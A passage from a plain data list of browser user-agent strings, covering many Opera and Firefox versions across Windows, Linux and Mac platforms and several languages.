(Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 -Opera/9.62 (X11; Linux x86_64; U; en_GB, en_US) Presto/2.1.1 -Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 -Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 -Opera/9.63 (X11; Linux i686) -Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; en) -Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; ru) -Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 -Opera 9.7 (Windows NT 5.2; U; en) -Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 -Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52 -Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 -Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 -Opera/9.80 (S60; SymbOS; Opera Tablet/9174; U; en) Presto/2.7.81 Version/10.5 -Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51 -Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; MRA 5.6 (build 03278); ru) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 -Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; sk) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00 -Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 -Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10 -Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 -Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62 -Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1 -Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; en-US) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00 -Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 -Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62 -Opera/9.80 (Windows NT 6.1 x64; U; en) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 -Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 -Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11 -Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01 -Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50 -Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 -Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01 -Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11 -Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10 -Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 -Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50 -Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 -Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01 -Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 -Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 -Opera/9.99 (X11; U; sk) -Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 -Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 -Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 -Opera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00 -Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00 -Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02 - -# Mozilla Firefox - -mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1 -Mozilla/4.0 (compatible; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8) -Mozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/2010324480 Firefox/3.5.4 -Mozilla/4.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/2008398325 Firefox/3.1.4 -Mozilla/5.0 (compatible; Windows; U; Windows NT 6.2; WOW64; en-US; rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 -Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 FBSMTWB -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6;en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; he; rv:1.9.1b4pre) Gecko/20100405 Firefox/3.6.3plugin1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-AT; rv:1.9.1.8) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12pre) Gecko/20080122 Firefox/2.0.0.12pre -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 Firefox -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.2.19) Gecko/20110707 Firefox/3.6.19 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.4 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20061110 Firefox/2.0b3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060320 Firefox/2.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060322 Firefox/2.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.16) Gecko/20080702 Firefox -Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 -Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 -Mozilla/5.0 (U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080808 Firefox/2.0.0.17 -Mozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 -Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 -Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 -Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/13.0.1 -Mozilla/5.0 (Windows NT 5.1; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 -Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre -Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre -Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0 -Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 -Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6 -Mozilla/5.0 (Windows NT 5.1; rv:8.0; en_us) Gecko/20100101 Firefox/8.0 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre -Mozilla/5.0 (Windows NT 5.2; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1 -Mozilla/5.0 (Windows NT 6.0; U; hu; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.0; U; sv; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 -Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; de;rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1 -Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1 -Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/18.0.1 -Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 -Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2 -Mozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0 -Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 -Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0 -Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 -Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/19.0 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/7.0 -Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 -Mozilla/5.0 (Windows NT 6.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1 -Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:14.0) Gecko/20120405 Firefox/14.0a1 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; 